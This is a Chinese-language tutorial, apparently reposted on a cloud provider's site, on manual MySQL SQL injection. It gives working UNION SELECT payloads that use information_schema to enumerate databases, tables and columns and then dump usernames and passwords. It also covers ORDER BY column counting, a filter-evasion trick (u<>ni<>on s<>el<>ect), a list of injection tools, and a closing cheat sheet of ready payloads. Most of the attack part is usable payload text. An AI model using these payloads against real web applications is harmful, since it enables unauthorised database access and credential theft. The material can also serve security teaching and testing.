溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

mysql手工注入

發(fā)布時間:2020-04-01 02:11:17 來源:網絡 閱讀:3338 作者:eth10 欄目:安全技術

mysql手工注入

information_schema


SQL基礎

1.1 什么是sql?

SQL(structured query language),即結構化查詢語言,是關系數據庫的標準語言,SQL是一個通用的、功能強大的關系數據庫語言,但其功能并不僅僅是查詢。

1.2 mysql

MySQL是一個關系型數據庫管理系統(tǒng),由瑞典MySQL AB 公司開發(fā),目前屬于 Oracle 旗下產品。另外,MySQL是一種關聯數據庫管理系統(tǒng),關聯數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加了速度并提高了靈活性。來源于百度百科

SQL注入基礎

2.1 什么是SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。簡單來說,SQL注入就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改后臺SQL語句達到代碼執(zhí)行從而進行***的技術。

2.2 SQL注入***產生的原因

出現SQL注入***漏洞的主要原因是:許多網頁程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行嚴格的判斷和過濾,從而導致應用程序存在該漏洞。

2.3 mysql注入***的方法

對于mysql注入常用的方法主要是以下兩種:
(1)手工注入。
(2)使用工具注入

2.4 mysql手工注入原理

在mysql手工注入中主要是利用mysql自帶的information_schema數據庫,information_schema這個數據庫保存了MySQL服務器所有數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。簡單點說,這臺MySQL服務器上,到底有哪些數據庫、各個數據庫有哪些表,每張表的字段類型是什么,各個數據庫要什么權限才能訪問,等等信息都保存在information_schema數據庫里面。

mysql手工注入詳解

3.1 基本環(huán)境介紹

涉及數據庫:learn,涉及表:users。

mysql手工注入

表users

3.2 判斷注入點

and 1=1(正常顯示), and 1=2(非正常顯示) ,但不限于此。也可以是3>1(正常顯示),3>5(非正常顯示)等。

3.2.1判斷uid是否存在注入點

本身查詢語句為:SELECT uid,username FROM users WHERE uid=1

mysql手工注入

本身查詢語句

3.2.2 判斷原理

SELECT uid,username FROM users WHERE uid=1 and 1=1

mysql手工注入

正常顯示

SELECT uid,username FROM users WHERE uid=1 and 1=2

mysql手工注入

非正常顯示

3.3 查字段數

3.3.1 order by排序

order by 主要是用于排序,用法基本為:order by <列名> [ASC | DESC]

列名可以是select后面的列名,也可以是數字,代表第一列或第幾列!查詢字段數也是根據order by排序的列名可以是數字來進行判斷的。

3.3.2 查當前查詢中的字段數

本身查詢語句:SELECT uid,username,phone FROM users WHERE uid=1

mysql手工注入

本身查詢結果

查當前字段數目(列數):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

mysql手工注入

正常顯示

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

mysql手工注入

非正常顯示

因為當前頁面查詢的語句中只查詢三個字段,所以當輸入按照第四列來進行排序是就會出現異常。所以我們可用通過折半來進行查詢列數,前一個正常,后一個異常,那么該正常的就是當前查詢中的列數。

3.4 查詢字段在頁面中的顯示位置

聯合查詢數據顯示位置,不成立條件+union select(如果前面是成立的話頁面中會看不到想要的信息),也可以是 前面條件不變+union select + limit m,1。(如果看到頁面中信息有union select查詢中的數字時,那么也是可以看到字段顯示在頁面中的位置,但是如果查詢信息過多的話則不適用,因此推薦使用前面的那種方式)。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

mysql手工注入

顯示查詢字段在頁面中的位置

3.5 查詢基本信息

查詢基本信息主要是利用數據庫中的內置函數來獲取信息。
1. version()——MySQL版本
2. user()——用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5. @@version_compile_os——操作系統(tǒng)版本
我們可以通過將對應函數放到頁面顯示位中的位置數來查出相應信息并顯示在頁面中。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

mysql手工注入

查詢基本信息

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

mysql手工注入

查詢基本信息

另外,我們可以使用字符串連接函數一次性查詢多條信息:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B是分隔符, ; 的十六進制!

mysql手工注入

使用連接函數查詢多條信息

mysql手工注入

連接函數例子

高級查數據庫:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9,1是從第9個數據庫開始查詢一條記錄,使用這個可以逐個查詢數據庫中有哪些數據庫。

mysql手工注入

高級查數據庫


只運行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

mysql手工注入

limit m,n 例子

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

mysql手工注入

查詢當前連接中有哪些數據庫

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

mysql手工注入

查詢當前連接中有哪些數據庫

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

mysql手工注入

報錯

這里需要將數據庫名轉化為十六進制

mysql手工注入

轉化為十六進制

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

查詢指定數據庫表名

只運行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

原理

mysql手工注入

原理

高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM  information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

3.7 查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM  (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

查字段

這里可通過limit m,n循環(huán)查詢,也可使用GROUP_CONCAT函數一次性查詢。

mysql手工注入

一次性查詢

只運行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

mysql手工注入

原理

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

原理

這里可以使用limit m,n來逐個(limit m,1)查詢。

高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

mysql手工注入

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

查字段

mysql手工注入

查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

mysql手工注入

高級查字段

3.8 查字段內容

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

mysql手工注入

查字段內容

這里可使用limit m,1來逐個查詢,也可以使用GROUP_CONCAT函數一次性查詢。

mysql手工注入

使用連接函數

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

mysql手工注入

連接函數一次性查詢

工具注入

對于使用工具來進行注入,最好時首先手工判斷下,如果是或者懷疑是,那么就可以丟給工具來進行注入。

4.1 SQL注入工具

工具有但不限于以下幾種:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。

4.2 工具注入優(yōu)缺點

工具注入是可以節(jié)省很多時間,但是僅僅靠工具也不一定能利用該漏洞,因為工具有自己的局限性,不如手工那么靈活,簡單來說,如果應用程序有了一定的過濾,那么就需要靈活地使用手工注入,如果程序在把查詢語句插入到數據庫中時把<>過濾了,那么就可以根據這一特性進行簡單的繞過,如u<>ni<>on s<>el<>ect 1,2,3。

information_schema簡單介紹

直接上圖

用于加深對上面涉及到的相關信息的理解。詳細信息請自行查看information_schema數據庫里面涉及的相關表信息!

mysql手工注入

information_schema

mysql手工注入

information_schema.columns

mysql手工注入

information_schema.schemata

mysql手工注入

information_schema.processlist

mysql手工注入

information_schema.tables

mysql手工注入

information_schema.partitions

以上這么復雜純屬裝逼,下面分享簡單版的mysql手工注入!


UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata 查所有數據庫


 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='庫名' 查表


UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn' 查字段


union select group_concat(字段,字段) from 表名


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI